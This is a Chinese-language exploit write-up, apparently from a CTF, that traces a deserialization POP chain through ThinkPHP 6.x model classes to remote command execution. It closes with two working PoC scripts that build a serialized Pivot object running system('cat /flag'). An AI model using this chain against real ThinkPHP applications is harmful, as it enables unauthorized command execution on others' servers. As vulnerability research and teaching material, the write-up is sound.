__destruct()链构造

在 ThinkPHP5.x 的POP链中,入口都是 think\process\pipes\Windows 类,通过该类触发任意类的__toString 方法。但是 ThinkPHP6.x 的代码移除了 think\process\pipes\Windows 类,而POP链 __toString 之后的 Gadget 仍然存在,所以我们得继续寻找可以触发 __toString 方法的点。所有,总的目的就是跟踪寻找可以触发 __toString() 魔术方法的点。

先从起点 __destruct()__wakeup 方法开始,因为它们就是unserialize的触发点。

(1)寻找__destruct方法

我们全局搜索__destruct()方法,这里发现了/vendor/topthink/think-orm/src/Model.php中Model类的__destruct方法:
1.png
当满足$this->lazySave==true时,它包含的save方法就会被触发,我们跟进save方法

(2)跟进save()方法

2.png!
发现对$this->exists属性进行判断,如果为true则调用upData()方法,如果为false则调用insertData()方法。而想要到达这一步,则要先避免被前面的判断return掉,所以需要先满足下面这个if语句

if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
            return false;
        }

只需$this->isEmpty()返回false,$this->trigger返回true即可

先跟进$this->isEmpty()方法

public function isEmpty(): bool
{
    return empty($this->data);
}

只需要$this->data不为空即可

再跟进$this->trigger方法

protected function trigger(string $event): bool
{
    if (!$this->withEvent) {
        return true;
    }

只需要$this->withEventfalse即可

通过前面的if判断后即可进入到

$result = $this->exists ? $this->updateData() : $this->insertData($sequence);

分别跟进这两个方法,发现updateData()存在继续利用的点,所以需要$this->exists == true即可

(3)跟进updateData()方法

3.png!
这里下一步的利用点在于$this->checkAllowFields()中,但是要进入并调用该函数 需要先通过前两处if判断

第一处通过之前的分析,我们只要让$this->withEvent == false

第二处我们只要让$data不为空即可,所以我们跟进getChangedData()方法看一下
4.png
只要让$this->force为true 则会直接返回$this->data
回到updateData()中,之后就可以成功调用到了$this->checkAllowFields()

(4)跟进checkAllowFields()方法

5.png
这里直接进行了字符串拼接
$this->table$this->suffix设置成相应的类对象,此时通过.拼接便可以把类当做字符串,就可以触发__toString()方法了

来总结一下~
POP链前半段流程

Model.php
__destruct()->save->updateData()->checkAllowFields()

$this->table或$this->suffix设置成相应的类对象

POP链前半段需要满足的条件

$this->lazySave = true
$this->data不为空
$this->withEvent = false
$this->exists = true

但是还有一个问题就是Model类是抽象类,不能实例化。所以要想利用,得找出Model类的一个子类进行实例化。

我们查找extends Model
找到了Pivot类(位于\vendor\topthink\think-orm\src\model\Pivot.php)中
6.png

__toString链构造

(1)寻找__toString()方法

寻找到的__toString()利用点位于\vendor\topthink\think-orm\src\model\concern\Conversion.php中名为Conversion的trait中

public function __toString()
{
    return $this->toJson();
}

我们继续跟进toJson()方法

public function toJson(int $options = JSON_UNESCAPED_UNICODE): string
{
    return json_encode($this->toArray(), $options);
}

调用了一个toArray()方法
我们跟进toArray()

(3)跟进toArray()方法

7.png
$data进行遍历,其中$key$data的键。
默认情况下,会进入第二个elseif语句,从而将$key作为参数调用getAttr()方法
我们跟进getAttr()方法 (位于\vendor\topthink\think-orm\src\model\concern\Attribute.php)中

(4)跟进getAttr()方法

8.png
$value的值返回自$this->getData()方法,且参数为$key
跟进一下getData()方法
9.png
这里面getRealFieldName()方法的参数,即$name,依然是toArray()传进来的$key
继续跟进getRealFieldName()方法
10.png
如果$this->strict == true则直接返回$name,也就是最开始从toArray()方法中传进来的$key
getRealFieldName()方法回到getData()方法,此时$fieldName$key
11.png
这实际上返回了$this->data[$key]
然后再从getData()回到getAttr(),最后的返回语句如下

return $this->getValue($name, $value, $relation);

此时$name就是$key,$value就是$this->data[$key]
继续跟进一下getValue函数

12.png
我们可以在getValue()方法中可以看到最终的利用点

$closure = $this->withAttr[$fieldName];
$value   = $closure($value, $this->data);

我们只要让$closure为"system",$this->data为要执行的命令就可以动态执行system()函数来Getshell了

$fieldName = $this->getRealFieldName($name);
$fieldName就是$name
此时我们要通过前面两个if判断
第一处 只需$this->withAttr[$fieldName]存在
第二处 只需$this->withAttr[$fieldName]不是数组

最终Poc如下:
Poc1:

<?php
namespace think\model\concern;
trait Attribute
{
    private $data = ["exec"=>"cat /flag"];
    private $withAttr = ["exec"=>"system"];
}

namespace think;
abstract class Model
{
    use \think\model\concern\Attribute;
    private $lazySave;
    protected $withEvent;
    private $exists;
    private $force;
    protected $table;
    function __construct($obj='')
    {
        $this->lazySave = true;
        $this->withEvent = false;
        $this->exists = true;
        $this->force = true;
        $this->table = $obj;
    }
}

namespace think\model;

use think\Model;

class Pivot extends Model{

}
$a=new Pivot();
$b=new Pivot($a);

echo urlencode(serialize($b));

Poc2:

<?php
namespace think\model\concern;
trait Attribute
{
    private $data;
    private $withAttr;
}

namespace think;
abstract class Model
{
    use \think\model\concern\Attribute;
    private $lazySave;
    protected $withEvent;
    private $exists;
    private $force;
    protected $table;
    function __construct($a='')
    {
        $this->lazySave = true;
        $this->withEvent = false;
        $this->exists = true;
        $this->force = true;
        $this->table = $a;
        $function=function(){system('cat /flag');};
        $b=\Opis\Closure\serialize($function);
        $c=unserialize($b);
        $this->data=['test'=>''];
        $this->withAttr=['test'=>$c];
    }
}

namespace think\model;

use think\Model;

class Pivot extends Model{

}

require 'closure/autoload.php';
echo urlencode(serialize(new Pivot(new Pivot())));